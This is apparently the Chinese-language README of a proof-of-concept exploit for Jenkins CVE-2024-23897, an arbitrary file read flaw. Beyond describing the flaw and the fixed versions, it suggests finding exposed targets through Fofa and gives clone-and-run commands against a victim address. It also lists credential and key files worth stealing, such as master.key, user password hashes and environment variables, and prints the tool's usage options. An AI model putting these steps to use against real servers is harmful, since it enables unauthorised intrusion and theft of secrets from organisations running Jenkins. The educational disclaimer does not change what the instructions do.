CVE-2024-23897 是 Jenkins 中的一个严重漏洞,允许未认证攻击者读取 Jenkins 控制器文件系统上的任意文件。该缺陷源于 args4j 库对命令行参数处理不当,特别是在命令行操作中,@ 字符后跟随文件路径可能导致未授权的文件内容泄露。
该漏洞风险极高,攻击者可借此访问敏感信息(如加密密钥和配置文件),进而可能被利用进行远程代码执行(RCE)。鉴于 Jenkins 在 CI/CD 流水线中的广泛使用以及全球范围内大量暴露的 Jenkins 实例,此问题尤为严峻。
修复该漏洞的安全更新已发布在 Jenkins 2.442 及更高版本,以及 Jenkins LTS 2.426.3 及更高版本中。强烈建议用户升级其 Jenkins 安装以缓解此风险并保护敏感信息。
阅读相关详情 — CVE-2024-23897
免责声明:本概念验证(POC)仅用于教育和道德测试目的。未经事先双方同意而使用此工具攻击目标属于违法行为。最终用户有责任遵守所有适用的地方、州和联邦法律。开发者不对任何滥用或由此程序造成的损害承担任何责任。
要寻找潜在目标,可以使用 Fofa(类似于 Shodan.io):
受影响的 Jenkins 版本包括最高 2.441 的版本,以及最高 2.426.2 的 Jenkins LTS 版本。
克隆仓库:
git clone https://github.com/verylazytech/CVE-2024-23897
运行漏洞利用程序:
python3 CVE-2024-23897.py -u <Victim_ip:port>

在 shell 中输入你想读取的文件路径(本案例为 /etc/passwd):

一些可能值得关注的文件:
/proc/self/environ 环境变量,包括 JENKINS_HOME/proc/self/cmdline 命令行参数/var/jenkins_home/users/users.xml 用户账户存储位置/var/jenkins_home/users/<user_directory>/config.xml 用户 BCrypt 密码哈希/var/jenkins_home/secrets/master.key 加密密钥/etc/hosts Linux 本地 DNS 解析/etc/passwd Linux 用户账户usage: python3 CVE-2024-23897.py [-h] -u URL [-f FILE] [-t TIMEOUT] [-s] [-o] [-p PROXY] [-v]
options:
-h, --help show this help message and exit
-u URL, --url URL Jenkins URL
-f FILE, --file FILE File path to read
-t TIMEOUT, --timeout TIMEOUT
Request timeout
-s, --save Save file contents
-o, --overwrite Overwrite existing files
-p PROXY, --proxy PROXY
HTTP(s) proxy to use when sending requests (i.e. -p http://127.0.0.1:8080)
-v, --verbose Verbosity enabled - additional output flag